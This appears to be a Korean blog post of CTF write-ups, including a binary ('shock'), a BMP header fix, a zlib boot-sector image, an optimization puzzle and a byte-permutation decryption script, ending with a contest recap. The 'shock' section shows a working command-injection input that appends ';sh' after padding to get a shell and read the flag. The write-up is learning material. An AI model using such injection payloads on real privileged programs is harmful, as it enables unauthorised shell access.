다음과 같은 바이너리가 주어집니다.

shock


바이너리를 분석해보면 argv[1]로 입력받은 캐릭터를 일련의 검사를 거친 뒤 "id"와 string concatenation을 한 뒤 system함수에 인자로 집어넣는 것을 볼 수 있습니다.

환경변수 PATH를 건드려서 id가 /usr/bin/id대신 임의의 프로그램을 실행하도록 해주면 간단하나, strcpy하기 전에 환경변수를 모두 초기화해버립니다.

strcat에서 취약점이 생기는데, canary가 있어서 exploit하기는 힘들어보입니다.

";sh"같은 문자열을 넣어 system함수에 injection을 시도했으나, 되지 않았습니다.

그래서 __ctype_b_loc()부분을 자세히 디버깅해보았습니다. 그렇게 알아낸 사실은, 입력받은 문자열을 하나씩 돌면서 __ctype_b_loc() 테이블을 기준으로 값을 v3에 넣는데, v3가 0-9,a-z,A-Z일 때만 v3&8이 0이 아니였습니다.

alphanumeric value만 v3&8을 했을 때 0이 아님

이렇게 code injection도 물거품이 되는 듯 했습니다.


그렇게 공격을 하던 중, 이상한 점을 발견했습니다. 바로 ./shock `python -c 'print "A"*700'`따위를 입력하면 stack smashing이 detect되지 않고 Segmentation fault만 뜨는 것을 확인했습니다.

gdb로 확인해보니, strlen함수에서 Segmentation fault가 나더군요.

그래서 Segmentation fault가 뜨는 지점과 stack smashing이 뜨는 지점을 찾으려고 시도하다가 다음과 같이 명령어를 입력했더니 shell이 떴습니다.

systemshock@ip-172-31-3-97:~$ ./shock `python -c 'print "A"*523+";sh"'`
id: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such user
$ ls
flag shock
$ cat flag
B9sdeage OVvn23oSx0ds9^^to NVxqjy is_extremely Hosx093t
$ exit

정확한 원리는 아직 잘 모르겠네요.


[+] 대회 후기

이 문제를 대회 시작하고 3시간이 되어갈때 쯤 풀고, 그 뒤론 1번(owlur)과 3번(guesspw)만 계속 쥐고 있었는데

결국엔 둘 다 못 풀고 이 문제밖에 못 풀었네요ㅜㅜ

그냥 pwnable을 건드리는게 어땠을까 하는 아쉬움이 남습니다.

공부 열심히 해야겠어요!

저는 GMW(Give Me Wi-Fi) 팀이였는데요.

문제를 많이 풀어 3위(1위랑 동점이지만 늦게풀어서)까지 갔는데,

막판에 nano 문제 힌트가 나가고 nano를 푼 팀이 세 팀이 생겨서 4위로 떨어진 불운의 팀입니다. ㅠ_ㅠ


저는 optimize, recovery를 풀었는데요.

저희 팀은 FindKey.pcap, pyc_pcap, nano 문제를 못 풀었습니다.ㅜㅜ

문제풀이 시간에 들은 문제를 포함해 제가 아는 문제들 풀이를 모두 적어볼게요.


문제: 

e.txt

문제파일:

HC_files.7z.001

HC_files.7z.002


--- KeyIs ---

다음과 같은 bmp파일이 주어집니다.

key.zip

문제에서 헤더의 1byte가 수정이 되었다고 주어집니다.

열어보면 다음과 같이 사진이 회전된 것을 볼 수 있습니다.


width가 변조되어서 저렇게 이상하게 뜨는 것을 볼 수 있습니다.

BMP의 width는 0x12에 저장되므로, 21로 되어있는 이 값을 23으로 바꾸면 제대로 뜨는 것을 볼 수 있습니다.


flag: CanUCThi5Key


--- nano ---

zlib으로 압축된 파일이 주어집니다. 이는 파이썬 스크립트로 풀 수 있습니다.

import zlib
s = open('nano_zlib', 'rb').read()
open('nano', 'wb').write(zlib.decompress(s))

이렇게 압축을 풀면 x86 boot sector가 나오는데, 이를 VMware의 가상머신중 하나에 Floppy Disk device를 추가하고 부팅합니다.

Edit virtual machine settings를 누른 뒤 Add를 누르고 다음과 같이 진행합니다.



그리고 부팅하면 flag를 볼 수 있습니다.


flag: D0_Y0u_Kn0w_R34lM0d3?


--- optimize ---

파이썬 코드가 주어지는데 실행을 하면 계산 량이 너무 커서 아무 것도 출력하지 않습니다.

이 코드를 최적화시켜 무엇이 출력되는지 알아내야 합니다.

pow_plus 함수를 보면, 주어진 \(x\)와 \(n\)에 대하여 \(x^0+x^1+x^2+...+x^n\)을 계산하고 return하는 것을 볼 수 있습니다.

이는 등비수열의 합으로써, \(\sum\limits_{i=0}^{n} x^{i} = \frac{(x^{n+1}-1)}{x-1}\)임을 이용해 pow_plus(x, 3133701) = \(2^{3133702}-1\)임을 알 수 있습니다.

그 다음 after_align을 호출하는데, 이 함수는 10진수 x의 각 자리수의 합을 출력합니다.

제 컴퓨터로 돌렸을 때 after_align함수가 매우 느려서 이 함수도 최적화(?)를 했는데, 지금 서버컴으로 돌려보니깐 15초정도밖에 안 걸리는군요...-_-;; after_align(2**3133702-1)을 넣어주면 4247061이 나옵니다.

좋은 컴을 씁시다...ㅠㅠ


flag: 4247061


--- recovery ---

input 파일을 table 길이만큼 나누고, 각 part를 돌면서 table을 이용해 byte의 순서를 바꿔 암호화를 합니다.

ENC.py에서 table_inverse를 추가하고, table을 table_inverse로 바꿔주면 됩니다.

#!/usr/bin/python
from struct import unpack,pack

table = [48, 27, 50, 8, 47, 73, 12, 4, 66, 0, 14, 77, 56, 26, 63, 67, 17, 11, 68, 22, 72, 69, 60, 64, 74, 58, 54, 42, 65, 32, 33, 40, 39, 37, 51, 59, 24, 35, 38, 61, 21, 31, 57, 20, 76, 13, 10, 43, 9, 78, 46, 44, 45, 49, 3, 75, 23, 2, 19, 25, 28, 41, 29, 6, 30, 53, 70, 7, 16, 18, 34, 1, 62, 52, 5, 55, 36, 79, 71, 15]

table_inverse = []
for i in xrange(len(table)):
	table_inverse.append(table.index(i))

lt = len(table_inverse)
f = open("./ENCRYPTED","rb")
f2 = open("./DECRYPTED","wb")
d = f.read()
f.close()
a = ""
result = ""
for i in range(0,len(d),lt):
	a = d[i:i+lt]
	for j in range(0,lt):
		result += a[table_inverse[j]]
	
f2.write(result)
f2.close()

이렇게 DECRYPTED를 구한 뒤 hex editor로 열어보면 flag가 바로 보입니다.

참고로 이 파일은 Frozen의 dubstep remix버전 mp3파일이네요.


flag: To_test_the_limit_and_breakthrough



FindKey.pcap와 pyc_pcap 문제는 모든 팀이 못 푼 것 같아요.

handray는 눈 크게 뜨고 열심히 분석하다보면 나올 거에요... 저희 팀도 세네 번의 시행착오를 겪었네요.


web이나 pwnable 등 서버 쓰는 문제가 안 나와서 좀 아쉽긴 하네요. 저희 팀원들도 주분야가 시스템인 분들이 많았는데ㅠ_ㅠ

아무튼 두 시간 반정도 되는 시간동안 재밌게 풀었습니다~

+ Recent posts